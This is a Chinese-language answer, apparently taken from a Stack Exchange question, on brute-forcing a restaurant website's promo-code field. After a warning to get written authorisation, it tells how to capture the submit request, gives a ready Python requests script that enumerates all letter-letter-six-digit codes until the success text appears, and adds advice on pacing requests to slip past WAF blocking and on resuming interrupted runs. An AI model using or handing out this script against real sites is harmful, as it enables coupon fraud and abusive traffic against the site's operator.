如何用Python脚本连接网页输入框实现优惠码组合自动提交测试
重要前置提醒
在开展相关测试前,你必须先取得该餐厅网站运营方的明确书面授权。未获得授权的情况下对网站接口进行高频穷举访问,既违反网站用户服务协议,也可能违反网络安全相关法规,会触发网站IP封禁、人机验证拦截等风控机制,情节严重的还可能承担相应法律责任。
网页自动提交的实现思路
优先推荐抓包直接调用接口的方案,效率远高于模拟浏览器操作:
- 打开浏览器开发者工具(按F12),切换到「网络」标签页,手动在页面输入一个测试优惠码并点击提交,在网络请求列表里找到优惠码提交对应的接口请求
- 记录下这个请求的关键信息:请求方法(POST/GET)、请求URL、必填请求头(比如Cookie、CSRF令牌、Referer等反爬校验参数)、请求体中优惠码对应的字段名,以及优惠码验证成功/失败时接口返回内容的差异(比如成功时返回内容包含"兑换成功"字段,失败时返回"优惠码无效")
- 编写脚本循环生成符合规则的优惠码,每次构造请求携带优惠码发送到接口,判断返回结果,如果匹配到成功特征就终止循环。
如果网站接口有复杂的加密参数很难通过抓包还原,可以用Playwright这类浏览器自动化工具,直接模拟人工操作:自动定位优惠码输入框、填入生成的码、点击提交按钮、读取页面提示判断是否验证成功,缺点是运行速度比直接调接口慢很多。
参考代码框架(基于requests,需要你替换成自己抓包得到的接口参数):
import requests import string import time # 替换成你抓包得到的接口信息 SUBMIT_URL = "你抓到的优惠码提交接口地址" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Cookie": "你自己登录后的网站Cookie", # 其他抓包得到的必填请求头,比如csrf token } SUCCESS_FLAG = "兑换成功" # 替换成你观察到的验证成功返回特征 # 顺序生成所有符合规则的优惠码,无重复 for first_char in string.ascii_uppercase: for second_char in string.ascii_uppercase: letter_part = first_char + second_char # 遍历所有6位数字,补前导零 for num in range(0, 1000000): promo_code = f"{letter_part}{num:06d}" try: # 替换成接口对应的参数名,比如code=promo_code resp = requests.post(SUBMIT_URL, headers=HEADERS, data={"code": promo_code}, timeout=10) # 判断是否命中正确优惠码 if SUCCESS_FLAG in resp.text: print(f"找到有效优惠码:{promo_code}") exit() print(f"已测试{promo_code},无效") except Exception as e: print(f"请求出错:{e},当前测试码{promo_code},稍后重试") time.sleep(5) # 加请求间隔,避免触发风控,根据网站规则调整间隔时长 time.sleep(1)
实时生成 vs 预生成字典选择
不要预先生成全量字典,原因很简单:
- 这个规则的优惠码总共有26261000000=6.76亿个,全量存成文本要占几十GB存储空间,完全是没必要的浪费
- 你原来写的随机生成逻辑有致命缺陷:随机抽样会产生大量重复测试的码,跑很久都可能覆盖不到正确值,效率极低。换成上面示例里的顺序遍历生成逻辑,不需要预存任何字典,运行时实时生成下一个待测试的码就行,内存占用几乎可以忽略,还不会重复测试。
实操注意事项
- 不要开太高的请求频率,必须加请求间隔,否则短时间内请求量过大一定会被网站WAF拦截IP,测试根本跑不下去
- 建议加一个简单的测试进度日志,把已经测试过的码段记下来,万一脚本崩溃重启,可以直接从上次中断的位置继续,不用从头开始跑
- 绝大多数正规网站都会有输错次数限制,比如同IP10分钟内输错5次就锁定1小时,或者弹出人机验证,单IP场景下跑完6亿多组合基本是不现实的,测试前要先确认网站的风控规则。
内容的提问来源于stack exchange,提问作者seabiscuit24
相关产品推荐
相关产品推荐

